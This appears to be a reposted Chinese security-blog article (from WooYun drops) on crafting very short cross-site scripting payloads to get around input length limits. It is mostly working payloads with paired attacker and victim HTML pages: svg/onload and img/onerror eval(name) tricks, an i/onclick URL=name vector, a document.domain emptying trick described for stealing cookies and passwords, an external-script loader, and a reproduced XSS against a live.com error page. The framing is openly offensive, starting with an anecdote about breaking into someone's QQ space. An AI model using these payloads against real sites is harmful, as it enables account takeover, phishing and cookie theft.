<dd id="sga4y"><optgroup id="sga4y"></optgroup></dd>
<nav id="sga4y"><code id="sga4y"></code></nav>
  • <optgroup id="sga4y"></optgroup>

    原文地址:http://drops.wooyun.org/papers/512

    0x00 背景


    關鍵時候長度不夠怎么辦?

    在實際的情況中如果你不夠長怎么辦呢?看醫生?吃藥?做手術?。。。。。。。。。。。。。。算了,既然自身硬件不足,那么就把缺點變優點吧。熟話說:小是小威力好。

    熟話說的好,要能長能短,收放自如。在很多的情況中,我們構造的語句是被限制在一定的字符數內。所以這個就是考驗你能短的時候能不能短,能長的時候能不能長的時候到了。

    0x01 現實中的悲劇


    這是一個活生生的悲劇,一個平臺上面,一個二逼朋友有妹子的平臺賬號,但是二逼朋友想進妹子的QQ空間,用平臺的備注插QQ-XSS代碼,但是因為限制的字符太短,最終抱頭痛哭。于是就有了下圖所發生:

    2013082023315075455.jpg

    0x02 怎么變”短”


    #!html
    "><script>alert(1)</script> 
    

    .............................27 letters?

    Alert(1)? No Run?

    Impossible?

    No!

    在實際情況中,可以通過<h1>短向量或者其他的短向量去測試存在XSS的地方,為什么可以這樣?HTML是一門”不太嚴格”的解釋語言,即使沒有</h1>,很多瀏覽器也照樣可以解釋為

    #!html
    <h1>xss</h1>
    

    <h1>xss

    S1:

    2013082023324089066.jpg

    S2:

    2013082023330469883.jpg

    S3:

    2013082023332018566.jpg

    但是如果在攻擊的時候,我往往需要用到很多標簽、屬性來達到我們的目的。下面列出一些比較猥瑣的利用

    <svg/onload=domain=id>

    S1:在chrome瀏覽器存在一個同域讀取漏洞,為什么說同域呢?

    S2:在chrome下如果我們訪問www.baidu.com,通過控制臺來設置一下域為空,document.domain="",就會出現以下的錯誤。

    2013082023341576811.jpg

    S3:為什么說chrome瀏覽器存在一個同域讀取漏洞呢?下面我們通過訪問www.baidu.com.來訪問一下(com后面還有一個.)并設置一下域為空

    #!javascript
    document.domain=""
    

    設置結果就會出現以下圖片所示。

    2013082023344564837.jpg

    S4:這個怎么利用?

    首先說一個問題,就是說,在同域的情況下,DOM是互通的。就相當于我a可以寫b的,b也可以同樣寫a的。那我們該怎么來利用呢?我們可以干很多事情,比如說重寫頁面釣魚,或者盜取同域Cookie。下面我就用Chrome的控制臺來演示一下這個內容讀取漏洞。

    S5:先來看看兩段代碼:

    本地構造的攻擊頁面如下:

    #!html
    <!DOCTYPE html>
    <html>
      <body>
        <h1>這是a.com./12.html</h1>
        <svg/onload=domain=id>
      </body>
    </html>
    

    存在缺陷的XSS頁面如下:

    #!html
    <!DOCTYPE html>
    <html>
      <body>
        <h1>這是b.com./11.html</h1>
        <svg/onload=domain=id>
      </body>
    </html>
    

    S6:下面我們通過訪問我們構造的攻擊頁面,也就是a.com./12.html,然后讀取domain看看,結果如下圖:

    2013082023361468608.jpg

    S7:然后我們在控制臺里面用window.open()方法打開打開存在缺陷的XSS頁面.然后同樣用domain查看域.

    2013082023365253563.jpg

    S8:我們從上面就可以查看出,現在a.com.和b.com.都是處于同一域下面,那么就可以實現DOM相通的概念了。

    S9:通過DOM重寫頁面測試,測試結果如下圖:

    2013082023374053213.jpg

    S10:其實這個方法的用處很多,比如說我找到XXX的XSS頁面,我通過把域置空,然后在自己站上構造一個頁面,怎么構造就要看你的思維了,通過同域的DOM操作,可以釣魚的方式盜取COOKIE、密碼等。

    <svg/onload=eval(name)>

    S1:先把代碼文譯一下:

    #!html
    <svg/onload=eval(window.name)>
    

    S2:這一段代碼通過svg載入的時候執行onload事件,執行的時候通過windows.name傳遞給eval執行,如果我們自己構造一個攻擊頁面,然后傳遞的XSS代碼呢?下面看一段代碼:

    本地構造的攻擊頁面:

    #!html
    <!DOCTYPE html>
    <html>
      <body>
        <iframe src="11.html" name="alert(1)"></iframe>
      </body>
    </html>
    

    存在缺陷的XSS頁面:

    #!html
    <!DOCTYPE html>
    <html>
     <body>
        <svg/onload=eval(name)>
     </body>
    </html>
    

    S3:然后運行頁面,測試結果如下:

    2013082023383876930.jpg

    <i/onclick=URL=name>

    S1:上面的代碼文譯一下:

    #!html
    <i/onclick=document.URL=window.name>
    

    S2:其實這段代碼和上一段差不多多少,這里就不截圖了,簡單的講解一下。通過點擊執行事件把window.name的內容給document.URL然后執行javascript代碼。那么我們可以怎么利用呢?

    存在缺陷的XSS頁面如下:

    #!html
    <!DOCTYPE html>
    <html>
        <body>
            <i/onclick=URL=name>
        </body>
    </html>
    

    本地構造的攻擊頁面如下:

    #!html
    <!DOCTYPE html>
    <html>
        <body>
            <iframe src="11.html" name="javascript:alert(1)"></iframe>
        </body>
    </html>
    

    <img src=x onerror=eval(name)>

    S1:先把代碼文譯一下:

    #!html
    <img src=x onerror=eval(window.name)>
    

    S2:邪惡的eval又來了。通過img元素的src屬性出錯,執行onerror事件,通過邪惡的eval執行window.name里面的代碼。

    S3:那我們怎么來實現呢?

    本地構造的攻擊頁面如下:

    #!html
    <!DOCTYPE html>
    <html>
        <body>
            <iframe src="11.html" name="alert(1)"></iframe>
        </body>
    

      

    存在缺陷的XSS頁面如下:

    #!html
    <!DOCTYPE html>
    <html>
        <body>
            <img src="s.sx" onerror=eval(name) />
        </body>
    </html>
    

    其實有很多用法,當然你也可以直接:

    #!html
    <img src=x onerror=eval(alert(1)) />
    

    2013082023401581483.jpg

    還可以

    #!html
    <img?src=x?onerror=eval(變量)?/>
    

    2013082023410714365.jpg

    還可以通過調用元素屬性,或者是程序員自寫的js代碼

    2013082023425551862.jpg

    <img?src=x?onerror=with(body)createElement('script').src='[JS地址]'>

    S1:通過img元素的src屬性出錯,執行onerror事件.

    S2:用with定位到body,通過DOM的一個createElement方法創建一個script元素,并使用script的src屬性指向需要調用的外部js文件。從而達到攻擊的目的。

    S3:這個就不講解了,都應該能夠看懂

    0x03 實例


    下面引用長谷川的PPT的一部分(此PPT引用經過作者同意)

    2013082023440538047.jpg

    2013082023443139294.jpg

    通過查看源代碼:

    地址:

    https://*.live.com/?param=><h1>XSSed</h1><!--
    
    
    
    
    
    #!html
    <!-- Version: "13.000.20177.00" Server: BAYIDSLEG1C38; DateTime: 2012/05/01 15:13:23 -->
    <input type="hidden" value="MESSAGE: A potentially dangerous Request.QueryString value was detected from the client (param="><h1>XSSed</h1><!--").
    SOURCE: System.Web FORM:" />
    

    找出了XSS的原因是由錯誤消息引起的XSS

    然后通過攻擊者自己構造的頁面構造XSS,并成功實現。

    #!html
    <iframe src="target" name="javascript:alert(1)">
    

    (或者使用JavaScript的window.open)

    最終:作者通過21個字符實現XSS(關于實現的方法請見上面的一些比較猥瑣的利用元素標簽)

    代碼為:

    #!html
    ><i/onclick=URL=name>
    

    當然22個字符也有很多方法(//后面為我們構造的代碼開始) 20 Letters

    #!html
    <input type=hidden value=//><i/onclick=URL=name>
    

    22 Letters

    #!html
    <input type=hidden value="http://"><i/onclick=URL=name>">
    

    17 Letters

    #!html
    <input type=text value= //onclick=URL=name>
    

    2013082023451443889.jpg

    2013082023454387143.jpg

    0x04 挑戰最”短”


    這個活動是國外一個網站發布的,名為XSS challenge,大家有興趣可以討論一下 19 Letters

    <x/x=&{eval(name)};
    

    22 Letters

    <svg/onload=eval(name)
    

    最短的javascript執行代碼,考驗你”短”的時候到了

    10 Letters eval(name)
    9 Letters eval(URL)
    8 Letters URL=name
    6 Letters $(URL)
    

    0x05 總結


    Javascript是一門很好玩的解釋型語言,每次去研究這些XSS點的時候會有很多樂趣,你越不相信這個點有XSS,那么就越要去研究這個點是否有XSS。

    其實呢~~~這些技術可以稱為猥瑣流。。。因為不是按正常的邏輯思維是想不到這些的,除非那些思想很猥瑣的人。~~~~~~~

    歡迎你加入猥瑣這個團隊,讓我們一起猥瑣吧。

    97av